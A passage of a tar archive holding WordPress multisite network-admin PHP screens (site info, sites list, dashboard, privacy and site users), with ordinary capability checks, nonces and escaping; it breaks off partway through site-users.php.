/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/network.tar
site-info.php000064400000017136151007247650007171 0ustar00<?php
/**
 * Edit Site Info Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME );
$is_main_site  = is_main_site( $id );

if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	// Rewrite rules can't be flushed during switch to blog.
	delete_option( 'rewrite_rules' );

	$blog_data           = wp_unslash( $_POST['blog'] );
	$blog_data['scheme'] = $parsed_scheme;

	if ( $is_main_site ) {
		// On the network's main site, don't allow the domain or path to change.
		$blog_data['domain'] = $details->domain;
		$blog_data['path']   = $details->path;
	} else {
		// For any other site, the scheme, domain, and path can all be changed. We first
		// need to ensure a scheme has been provided, otherwise fallback to the existing.
		$new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME );

		if ( ! $new_url_scheme ) {
			$blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] );
		}
		$update_parsed_url = parse_url( $blog_data['url'] );

		// If a path is not provided, use the default of `/`.
		if ( ! isset( $update_parsed_url['path'] ) ) {
			$update_parsed_url['path'] = '/';
		}

		$blog_data['scheme'] = $update_parsed_url['scheme'];

		// Make sure to not lose the port if it was provided.
		$blog_data['domain'] = $update_parsed_url['host'];
		if ( isset( $update_parsed_url['port'] ) ) {
			$blog_data['domain'] .= ':' . $update_parsed_url['port'];
		}

		$blog_data['path'] = $update_parsed_url['path'];
	}

	$existing_details     = get_site( $id );
	$blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' );

	foreach ( $blog_data_checkboxes as $c ) {
		if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) {
			$blog_data[ $c ] = $existing_details->$c;
		} else {
			$blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0;
		}
	}

	update_blog_details( $id, $blog_data );

	// Maybe update home and siteurl options.
	$new_details = get_site( $id );

	$old_home_url    = trailingslashit( esc_url( get_option( 'home' ) ) );
	$old_home_parsed = parse_url( $old_home_url );
	$old_home_host   = $old_home_parsed['host'] . ( isset( $old_home_parsed['port'] ) ? ':' . $old_home_parsed['port'] : '' );

	if ( $old_home_host === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) {
		$new_home_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'home', $new_home_url );
	}

	$old_site_url    = trailingslashit( esc_url( get_option( 'siteurl' ) ) );
	$old_site_parsed = parse_url( $old_site_url );
	$old_site_host   = $old_site_parsed['host'] . ( isset( $old_site_parsed['port'] ) ? ':' . $old_site_parsed['port'] : '' );

	if ( $old_site_host === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) {
		$new_site_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'siteurl', $new_site_url );
	}

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-info.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site info updated.' );
	}
}

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-info',
	)
);

if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<form method="post" action="site-info.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		// The main site of the network should not be updated on this page.
		if ( $is_main_site ) :
			?>
		<tr class="form-field">
			<th scope="row"><?php _e( 'Site Address (URL)' ); ?></th>
			<td><?php echo esc_url( $parsed_scheme . '://' . $details->domain . $details->path ); ?></td>
		</tr>
			<?php
			// For any other site, the scheme, domain, and path can all be changed.
		else :
			?>
		<tr class="form-field form-required">
			<th scope="row"><label for="url"><?php _e( 'Site Address (URL)' ); ?></label></th>
			<td><input name="blog[url]" type="text" id="url" value="<?php echo $parsed_scheme . '://' . esc_attr( $details->domain ) . esc_attr( $details->path ); ?>" /></td>
		</tr>
		<?php endif; ?>

		<tr class="form-field">
			<th scope="row"><label for="blog_registered"><?php _ex( 'Registered', 'site' ); ?></label></th>
			<td><input name="blog[registered]" type="text" id="blog_registered" value="<?php echo esc_attr( $details->registered ); ?>" /></td>
		</tr>
		<tr class="form-field">
			<th scope="row"><label for="blog_last_updated"><?php _e( 'Last Updated' ); ?></label></th>
			<td><input name="blog[last_updated]" type="text" id="blog_last_updated" value="<?php echo esc_attr( $details->last_updated ); ?>" /></td>
		</tr>
		<?php
		$attribute_fields = array( 'public' => _x( 'Public', 'site' ) );
		if ( ! $is_main_site ) {
			$attribute_fields['archived'] = __( 'Archived' );
			$attribute_fields['spam']     = _x( 'Spam', 'site' );
			$attribute_fields['deleted']  = __( 'Deleted' );
		}
		$attribute_fields['mature'] = __( 'Mature' );
		?>
		<tr>
			<th scope="row"><?php _e( 'Attributes' ); ?></th>
			<td>
			<fieldset>
			<legend class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Set site attributes' );
				?>
			</legend>
			<?php foreach ( $attribute_fields as $field_key => $field_label ) : ?>
				<label><input type="checkbox" name="blog[<?php echo $field_key; ?>]" value="1" <?php checked( (bool) $details->$field_key, true ); ?> <?php disabled( ! in_array( (int) $details->$field_key, array( 0, 1 ), true ) ); ?> />
				<?php echo $field_label; ?></label><br />
			<?php endforeach; ?>
			<fieldset>
			</td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the site info form in network admin.
	 *
	 * @since 5.6.0
	 *
	 * @param int $id The site ID.
	 */
	do_action( 'network_site_info_form', $id );

	submit_button();
	?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
sites.php000064400000032403151007247650006415 0ustar00<?php
/**
 * Multisite sites administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_MS_Sites_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

// Used in the HTML title tag.
$title       = __( 'Sites' );
$parent_file = 'sites.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
		'<p>' . __( 'Add Site takes you to the screen for adding a new site to the network. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.' ) . '</p>' .
		'<p>' . __( 'This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.' ) . '</p>' .
			'<p>' . __( 'Hovering over each site reveals seven options (three for the primary site):' ) . '</p>' .
			'<ul><li>' . __( 'An Edit link to a separate Edit Site screen.' ) . '</li>' .
			'<li>' . __( 'Dashboard leads to the Dashboard for that site.' ) . '</li>' .
			'<li>' . __( 'Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.' ) . '</li>' .
			'<li>' . __( 'Delete which is a permanent action after the confirmation screen.' ) . '</li>' .
			'<li>' . __( 'Visit to go to the front-end of the live site.' ) . '</li></ul>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_pagination' => __( 'Sites list navigation' ),
		'heading_list'       => __( 'Sites list' ),
	)
);

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	// A list of valid actions and their associated messaging for confirmation output.
	$manage_actions = array(
		/* translators: %s: Site URL. */
		'activateblog'   => __( 'You are about to activate the site %s.' ),
		/* translators: %s: Site URL. */
		'deactivateblog' => __( 'You are about to deactivate the site %s.' ),
		/* translators: %s: Site URL. */
		'unarchiveblog'  => __( 'You are about to unarchive the site %s.' ),
		/* translators: %s: Site URL. */
		'archiveblog'    => __( 'You are about to archive the site %s.' ),
		/* translators: %s: Site URL. */
		'unspamblog'     => __( 'You are about to unspam the site %s.' ),
		/* translators: %s: Site URL. */
		'spamblog'       => __( 'You are about to mark the site %s as spam.' ),
		/* translators: %s: Site URL. */
		'deleteblog'     => __( 'You are about to delete the site %s.' ),
		/* translators: %s: Site URL. */
		'unmatureblog'   => __( 'You are about to mark the site %s as mature.' ),
		/* translators: %s: Site URL. */
		'matureblog'     => __( 'You are about to mark the site %s as not mature.' ),
	);

	if ( 'confirm' === $_GET['action'] ) {
		// The action2 parameter contains the action being taken on the site.
		$site_action = $_GET['action2'];

		if ( ! array_key_exists( $site_action, $manage_actions ) ) {
			wp_die( __( 'The requested action is not valid.' ) );
		}

		// The mature/unmature UI exists only as external code. Check the "confirm" nonce for backward compatibility.
		if ( 'matureblog' === $site_action || 'unmatureblog' === $site_action ) {
			check_admin_referer( 'confirm' );
		} else {
			check_admin_referer( $site_action . '_' . $id );
		}

		if ( ! headers_sent() ) {
			nocache_headers();
			header( 'Content-Type: text/html; charset=utf-8' );
		}

		if ( is_main_site( $id ) ) {
			wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
		}

		$site_details = get_site( $id );
		$site_address = untrailingslashit( $site_details->domain . $site_details->path );

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>
			<div class="wrap">
				<h1><?php _e( 'Confirm your action' ); ?></h1>
				<form action="sites.php?action=<?php echo esc_attr( $site_action ); ?>" method="post">
					<input type="hidden" name="action" value="<?php echo esc_attr( $site_action ); ?>" />
					<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
					<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
					<?php wp_nonce_field( $site_action . '_' . $id, '_wpnonce', false ); ?>
					<?php
					if ( 'deleteblog' === $site_action ) {
						$submit = __( 'Delete this site permanently' );
						?>
						<div class="notice notice-warning inline">
							<p><?php _e( 'Deleting a site is a permanent action that cannot be undone. This will delete the entire site and its uploads directory.' ); ?>
						</div>
						<?php
					} else {
						$submit = __( 'Confirm' );
					}
					?>
					<p><?php printf( $manage_actions[ $site_action ], "<strong>{$site_address}</strong>" ); ?></p>
					<?php submit_button( $submit, 'primary' ); ?>
				</form>
			</div>
		<?php
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		exit;
	} elseif ( array_key_exists( $_GET['action'], $manage_actions ) ) {
		$action = $_GET['action'];
		check_admin_referer( $action . '_' . $id );
	} elseif ( 'allblogs' === $_GET['action'] ) {
		check_admin_referer( 'bulk-sites' );
	}

	$updated_action = '';

	switch ( $_GET['action'] ) {

		case 'deleteblog':
			if ( ! current_user_can( 'delete_sites' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), '', array( 'response' => 403 ) );
			}

			$updated_action = 'not_deleted';
			if ( 0 !== $id && ! is_main_site( $id ) && current_user_can( 'delete_site', $id ) ) {
				wpmu_delete_blog( $id, true );
				$updated_action = 'delete';
			}
			break;

		case 'delete_sites':
			check_admin_referer( 'ms-delete-sites' );

			foreach ( (array) $_POST['site_ids'] as $site_id ) {
				$site_id = (int) $site_id;

				if ( is_main_site( $site_id ) ) {
					continue;
				}

				if ( ! current_user_can( 'delete_site', $site_id ) ) {
					$site         = get_site( $site_id );
					$site_address = untrailingslashit( $site->domain . $site->path );

					wp_die(
						sprintf(
							/* translators: %s: Site URL. */
							__( 'Sorry, you are not allowed to delete the site %s.' ),
							$site_address
						),
						403
					);
				}

				$updated_action = 'all_delete';
				wpmu_delete_blog( $site_id, true );
			}
			break;

		case 'allblogs':
			if ( isset( $_POST['action'] ) && isset( $_POST['allblogs'] ) ) {
				$doaction = $_POST['action'];

				foreach ( (array) $_POST['allblogs'] as $site_id ) {
					$site_id = (int) $site_id;

					if ( 0 !== $site_id && ! is_main_site( $site_id ) ) {
						switch ( $doaction ) {
							case 'delete':
								require_once ABSPATH . 'wp-admin/admin-header.php';
								?>
								<div class="wrap">
									<h1><?php _e( 'Confirm your action' ); ?></h1>
									<form action="sites.php?action=delete_sites" method="post">
										<input type="hidden" name="action" value="delete_sites" />
										<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
										<?php wp_nonce_field( 'ms-delete-sites', '_wpnonce', false ); ?>
										<p><?php _e( 'You are about to delete the following sites:' ); ?></p>
										<ul class="ul-disc">
											<?php
											foreach ( $_POST['allblogs'] as $site_id ) :
												$site_id = (int) $site_id;

												$site         = get_site( $site_id );
												$site_address = untrailingslashit( $site->domain . $site->path );
												?>
												<li>
													<?php echo $site_address; ?>
													<input type="hidden" name="site_ids[]" value="<?php echo esc_attr( $site_id ); ?>" />
												</li>
											<?php endforeach; ?>
										</ul>
										<?php submit_button( __( 'Confirm' ), 'primary' ); ?>
									</form>
								</div>
								<?php
								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;
							break;

							case 'spam':
							case 'notspam':
								$updated_action = ( 'spam' === $doaction ) ? 'all_spam' : 'all_notspam';
								update_blog_status( $site_id, 'spam', ( 'spam' === $doaction ) ? '1' : '0' );
								break;
						}
					} else {
						wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$redirect_to = wp_get_referer();
					$blogs       = (array) $_POST['allblogs'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$redirect_to = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $redirect_to, $doaction, $blogs, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $redirect_to );
					exit;
				}
			} else {
				// Process query defined by WP_MS_Site_List_Table::extra_table_nav().
				$location = remove_query_arg(
					array( '_wp_http_referer', '_wpnonce' ),
					add_query_arg( $_POST, network_admin_url( 'sites.php' ) )
				);

				wp_redirect( $location );
				exit;
			}

			break;

		case 'archiveblog':
		case 'unarchiveblog':
			update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'activateblog':
			update_blog_status( $id, 'deleted', '0' );

			/**
			 * Fires after a network site is activated.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $id The ID of the activated site.
			 */
			do_action( 'activate_blog', $id );
			break;

		case 'deactivateblog':
			/**
			 * Fires before a network site is deactivated.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $id The ID of the site being deactivated.
			 */
			do_action( 'deactivate_blog', $id );

			update_blog_status( $id, 'deleted', '1' );
			break;

		case 'unspamblog':
		case 'spamblog':
			update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'unmatureblog':
		case 'matureblog':
			update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' );
			break;
	}

	if ( empty( $updated_action ) && array_key_exists( $_GET['action'], $manage_actions ) ) {
		$updated_action = $_GET['action'];
	}

	if ( ! empty( $updated_action ) ) {
		wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
		exit;
	}
}

$msg = '';
if ( isset( $_GET['updated'] ) ) {
	$action = $_GET['updated'];

	switch ( $action ) {
		case 'all_notspam':
			$msg = __( 'Sites removed from spam.' );
			break;
		case 'all_spam':
			$msg = __( 'Sites marked as spam.' );
			break;
		case 'all_delete':
			$msg = __( 'Sites deleted.' );
			break;
		case 'delete':
			$msg = __( 'Site deleted.' );
			break;
		case 'not_deleted':
			$msg = __( 'Sorry, you are not allowed to delete that site.' );
			break;
		case 'archiveblog':
			$msg = __( 'Site archived.' );
			break;
		case 'unarchiveblog':
			$msg = __( 'Site unarchived.' );
			break;
		case 'activateblog':
			$msg = __( 'Site activated.' );
			break;
		case 'deactivateblog':
			$msg = __( 'Site deactivated.' );
			break;
		case 'unspamblog':
			$msg = __( 'Site removed from spam.' );
			break;
		case 'spamblog':
			$msg = __( 'Site marked as spam.' );
			break;
		default:
			/**
			 * Filters a specific, non-default, site-updated message in the Network admin.
			 *
			 * The dynamic portion of the hook name, `$action`, refers to the non-default
			 * site update action.
			 *
			 * @since 3.1.0
			 *
			 * @param string $msg The update message. Default 'Settings saved'.
			 */
			$msg = apply_filters( "network_sites_updated_message_{$action}", __( 'Settings saved.' ) );
			break;
	}

	if ( ! empty( $msg ) ) {
		$msg = wp_get_admin_notice(
			$msg,
			array(
				'type'        => 'success',
				'dismissible' => true,
				'id'          => 'message',
			)
		);
	}
}

$wp_list_table->prepare_items();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php _e( 'Sites' ); ?></h1>

<?php if ( current_user_can( 'create_sites' ) ) : ?>
	<a href="<?php echo esc_url( network_admin_url( 'site-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add Site' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php $wp_list_table->views(); ?>

<?php echo $msg; ?>

<form method="get" id="ms-search" class="wp-clearfix">
<?php $wp_list_table->search_box( __( 'Search Sites' ), 'site' ); ?>
<input type="hidden" name="action" value="blogs" />
</form>

<form id="form-site-list" action="sites.php?action=allblogs" method="post">
	<?php $wp_list_table->display(); ?>
</form>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
index.php000064400000005537151007247650006405 0ustar00<?php
/**
 * Multisite administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** Load WordPress dashboard API */
require_once ABSPATH . 'wp-admin/includes/dashboard.php';

if ( ! current_user_can( 'manage_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

// Used in the HTML title tag.
$title       = __( 'Dashboard' );
$parent_file = 'index.php';

$overview  = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>';
$overview .= '<p>' . __( 'From here you can:' ) . '</p>';
$overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>';
$overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>';
$overview .= '<li>' . __( 'Update your network' ) . '</li>';
$overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $overview,
	)
);

$quick_tasks  = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>';
$quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user&#42;.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'quick-tasks',
		'title'   => __( 'Quick Tasks' ),
		'content' => $quick_tasks,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/">Documentation on the Network Admin</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

wp_dashboard_setup();

wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
add_thickbox();

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<div id="dashboard-widgets-wrap">

<?php wp_dashboard(); ?>

<div class="clear"></div>
</div><!-- dashboard-widgets-wrap -->

</div><!-- wrap -->

<?php
wp_print_community_events_templates();
require_once ABSPATH . 'wp-admin/admin-footer.php';
privacy.php000064400000000371151007247650006742 0ustar00<?php
/**
 * Network Privacy administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.9.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/privacy.php';
site-users.php000064400000026031151007247650007371 0ustar00<?php
/**
 * Edit Site Users Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_Users_List_Table' );
$wp_list_table->prepare_items();

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site users list' ),
		'heading_pagination' => __( 'Site users list navigation' ),
		'heading_list'       => __( 'Site users list' ),
	)
);

$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( 'update', wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

switch_to_blog( $id );

$action = $wp_list_table->current_action();

if ( $action ) {

	switch ( $action ) {
		case 'newuser':
			check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
			$user = $_POST['user'];
			if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
				$update = 'err_new';
			} else {
				$password = wp_generate_password( 12, false );
				$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );

				if ( false === $user_id ) {
					$update = 'err_new_dup';
				} else {
					$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );

					if ( is_wp_error( $result ) ) {
						$update = 'err_add_fail';
					} else {
						$update = 'newuser';

						/**
						 * Fires after a user has been created via the network site-users.php page.
						 *
						 * @since 4.4.0
						 *
						 * @param int $user_id ID of the newly created user.
						 */
						do_action( 'network_site_users_created_user', $user_id );
					}
				}
			}
			break;

		case 'adduser':
			check_admin_referer( 'add-user', '_wpnonce_add-user' );
			if ( ! empty( $_POST['newuser'] ) ) {
				$update  = 'adduser';
				$newuser = $_POST['newuser'];
				$user    = get_user_by( 'login', $newuser );
				if ( $user && $user->exists() ) {
					if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
						$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );

						if ( is_wp_error( $result ) ) {
							$update = 'err_add_fail';
						}
					} else {
						$update = 'err_add_member';
					}
				} else {
					$update = 'err_add_notfound';
				}
			} else {
				$update = 'err_add_notfound';
			}
			break;

		case 'remove':
			if ( ! current_user_can( 'remove_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
			}

			check_admin_referer( 'bulk-users' );

			$update = 'remove';
			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];

				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;
					remove_user_from_blog( $user_id, $id );
				}
			} elseif ( isset( $_GET['user'] ) ) {
				remove_user_from_blog( $_GET['user'] );
			} else {
				$update = 'err_remove';
			}
			break;

		case 'promote':
			check_admin_referer( 'bulk-users' );
			$editable_roles = get_editable_roles();
			$role           = $_REQUEST['new_role'];

			if ( empty( $editable_roles[ $role ] ) ) {
				wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
			}

			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];
				$update  = 'promote';
				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;

					// If the user doesn't already belong to the blog, bail.
					if ( ! is_user_member_of_blog( $user_id ) ) {
						wp_die(
							'<h1>' . __( 'An error occurred.' ) . '</h1>' .
							'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
							403
						);
					}

					$user = get_userdata( $user_id );
					$user->set_role( $role );
				}
			} else {
				$update = 'err_promote';
			}
			break;
		default:
			if ( ! isset( $_REQUEST['users'] ) ) {
				break;
			}
			check_admin_referer( 'bulk-users' );
			$userids = $_REQUEST['users'];

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			$update = $action;
			break;
	}

	wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
	exit;
}

restore_current_blog();

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_screen_option( 'per_page' );

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

/**
 * Filters whether to show the Add Existing User form on the Multisite Users screen.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add Existing User form. Default true.
 */
if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) {
	wp_enqueue_script( 'user-suggest' );
}

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<script type="text/javascript">
var current_site_id = <?php echo absint( $id ); ?>;
</script>


<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-users',
	)
);

if ( isset( $_GET['update'] ) ) :
	$message = '';
	$type    = 'error';

	switch ( $_GET['update'] ) {
		case 'adduser':
			$type    = 'success';
			$message = __( 'User added.' );
			break;
		case 'err_add_member':
			$message = __( 'User is already a member of this site.' );
			break;
		case 'err_add_fail':
			$message = __( 'User could not be added to this site.' );
			break;
		case 'err_add_notfound':
			$message = __( 'Enter the username of an existing user.' );
			break;
		case 'promote':
			$type    = 'success';
			$message = __( 'Changed roles.' );
			break;
		case 'err_promote':
			$message = __( 'Select a user to change role.' );
			break;
		case 'remove':
			$type    = 'success';
			$message = __( 'User removed from this site.' );
			break;
		case 'err_remove':
			$message = __( 'Select a user to remove.' );
			break;
		case 'newuser':
			$type    = 'success';
			$message = __( 'User created.' );
			break;
		case 'err_new':
			$message = __( 'Enter the username and email.' );
			break;
		case 'err_new_dup':
			$message = __( 'Duplicated username or email address.' );
			break;
	}

	wp_admin_notice(
		$message,
		array(
			'type'        => $type,
			'dismissible' => true,
			'id'          => 'message',
		)
	);
endif;
?>

<form class="search-form" method="get">
